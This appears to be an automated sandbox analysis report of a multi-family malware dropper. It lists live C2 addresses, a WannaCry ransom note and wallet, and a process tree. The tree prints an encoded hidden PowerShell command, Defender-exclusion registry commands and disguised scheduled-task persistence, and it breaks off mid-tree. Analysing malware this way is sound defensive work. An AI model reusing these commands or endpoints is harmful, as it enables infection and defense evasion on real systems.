Overview

overview

10

Static

static

10

cone.exe.zip

windows11-21h2-x64

1

cone.exe.zip

windows11-ltsc_2024-x64

1

2to1ep.exe

windows11-21h2-x64

2to1ep.exe

windows11-ltsc_2024-x64

main.pyc

windows11-21h2-x64

3

main.pyc

windows11-ltsc_2024-x64

3

4363463463...63.exe

windows11-21h2-x64

10

4363463463...63.exe

windows11-ltsc_2024-x64

Synaptics.exe

windows11-21h2-x64

Synaptics.exe

windows11-ltsc_2024-x64

TsarBomba.exe

windows11-21h2-x64

TsarBomba.exe

windows11-ltsc_2024-x64

10

cobaltstri...de.exe

windows11-21h2-x64

10

cobaltstri...de.exe

windows11-ltsc_2024-x64

10

ed01ebfbc9...aa.exe

windows11-21h2-x64

10

ed01ebfbc9...aa.exe

windows11-ltsc_2024-x64

10

random.exe

windows11-21h2-x64

10

random.exe

windows11-ltsc_2024-x64

10

Resubmissions

27/09/2026, 14:21

260927-rn8hns1yhz10

15/09/2026, 11:13

260915-nbjf8sgj9y

13/09/2026, 12:17

260913-pfz58aba3910

11/09/2026, 14:17

260911-rltazathnb

11/09/2026, 14:10

260911-rgr74sw1hv10

07/09/2026, 14:52

260907-r8tv1sxvat

06/09/2026, 18:39

260906-xarwnaysdx10

06/09/2026, 18:38

260906-xadn2azgqc

06/09/2026, 16:17

260906-trmfqaxgkf10

06/09/2026, 16:09

260906-tl37aaxfma10

Analysis

  • max time kernel
    392s
  • max time network
    903s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-es
  • resource tags

    arch:x64arch:x86image:win11-20260513-eslocale:es-esos:windows11-21h2-x64systemwindows
  • submitted
    25/06/2026, 08:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    4363463463464363463463463.exe
  • Size 10KB
  • Sample260625-kx1e4aav21
  • SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoorfirstcredential_accessdefense_evasiondiscoveryexecutiondeerstealermimikatzphorphiexredlinesheetratwannacryimpactinfostealerinstallerloaderminerpersistencepyinstallerransomwareratrevoked_codesignspywarestealerthemidatrojanupxworm

Malware Config

Extracted

Family

  • phorphiex

C2

  • http://91.92.242.107/lmix/

Mutex

  • wrwrwrwwrwrwr

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36

Extracted

Family

  • redline

Botnet

  • first

C2

  • 212.56.41.77:1912

Extracted

Family

  • sheetrat

Version

  • 1.8

C2

  • president-rogers.gl.at.ply.gg:24830

Extracted

Path

  • C:\Users\Admin\AppData\Local\Temp\Files\!Please Read Me!.txt

  • wannacry

Ransom Note
  • Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1 Next, please find the decrypt software on your desktop, an executable file named "!WannaDecryptor!.exe". If it does not exsit, download the software from the address below. (You may need to disable your antivirus for a while.) rar password: wcry123 Run and follow the instructions! �
Wallets

  • 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1

Signatures

  • Family: DeerStealer

    DeerStealer is a sophisticated information stealer written in C++.

    stealerdeerstealer
  • Family: Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

    mimikatz
  • Family: Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • Family: RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • Family: Sheetrat, NonEuclid rat

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

    trojansheetrat
  • Family: Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Detects DeerStealer 12 IoCs
    stealer
  • Detects Mimilove part of Mimikatz 1 IoCs
  • Detects Sheetrat Obfuscated Payload 2 IoCs

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • RedLine payload 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
    defense_evasion
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 49 IoCs
  • Looks for VMWare services registry key. 1 TTPs 2 IoCs
    defense_evasion
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

    miner
  • Drops startup file 56 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • RustDesk remote access tool

    RustDesk is an open-source remote admin tool.

    backdoorrat
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 28 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • SmartAssembly .NET packer 1 IoCs

    Detects SmartAssembly .NET packer.

  • Suspicious use of SetThreadContext 4 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 5 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 1 IoCs

    Inno Setup installer

    installer
  • NSIS installer 3 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 6 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 38 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
    1⤵
    • Downloads MZ/PE file
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4768
    • C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\Vector-fixer-v1.4.2.exe"
        3⤵
        • Enumerates VirtualBox registry keys
        • Looks for VMWare services registry key.
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:6124
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Admin\AppData\Local\Temp\cleanup_f326322c.ps1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3396
    • C:\Users\Admin\AppData\Local\Temp\Files\Silentum_Spoofer.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Silentum_Spoofer.exe"
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Users\Admin\AppData\Local\c2bf5049-ac3a-4e91-b3ec-571c27c426e3\background.exe
        "C:\Users\Admin\AppData\Local\c2bf5049-ac3a-4e91-b3ec-571c27c426e3\background.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5432
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4076
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5448
            • C:\Windows\system32\attrib.exe
              "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
              6⤵
              • Views/modifies file attributes
              PID:5228
            • C:\Windows\system32\attrib.exe
              "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
              6⤵
              • Views/modifies file attributes
              PID:2372
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
              6⤵
                PID:4568
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
                6⤵
                  PID:2144
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
                  6⤵
                    PID:4708
                  • C:\Windows\system32\gpupdate.exe
                    "C:\Windows\system32\gpupdate.exe" /force /target:computer
                    6⤵
                      PID:5084
                    • C:\Windows\system32\schtasks.exe
                      "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
                      6⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2572
                    • C:\Windows\system32\schtasks.exe
                      "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
                      6⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4544
                    • C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
                      "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
                      6⤵
                      • Executes dropped EXE
                      • Enumerates system info in registry
                      PID:4960
                      • C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
                        "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
                        7⤵
                        • Suspicious use of FindShellTrayWindow
                        PID:9728
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:888
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                  4⤵
                    PID:4344
              • C:\Users\Admin\AppData\Local\Temp\Files\sgn.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\sgn.exe"
                2⤵
                • Executes dropped EXE
                PID:3424
              • C:\Users\Admin\AppData\Local\Temp\Files\lmix.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\lmix.exe"
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5980
              • C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:6060
                • C:\Windows\SysWOW64\msiexec.exe
                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\db1de130131b2e40\ScreenConnect.ClientSetup.msi"
                  3⤵
                  • Enumerates connected drives
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of FindShellTrayWindow
                  PID:5076
              • C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2864
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:4380
              • C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:600
                • C:\Users\Admin\AppData\Local\b6bb87fe-13ac-49d2-b4fe-90a23ff5ec3b\background.exe
                  "C:\Users\Admin\AppData\Local\b6bb87fe-13ac-49d2-b4fe-90a23ff5ec3b\background.exe"
                  3⤵
                  • Executes dropped EXE
                  • Checks processor information in registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3172
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4792
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
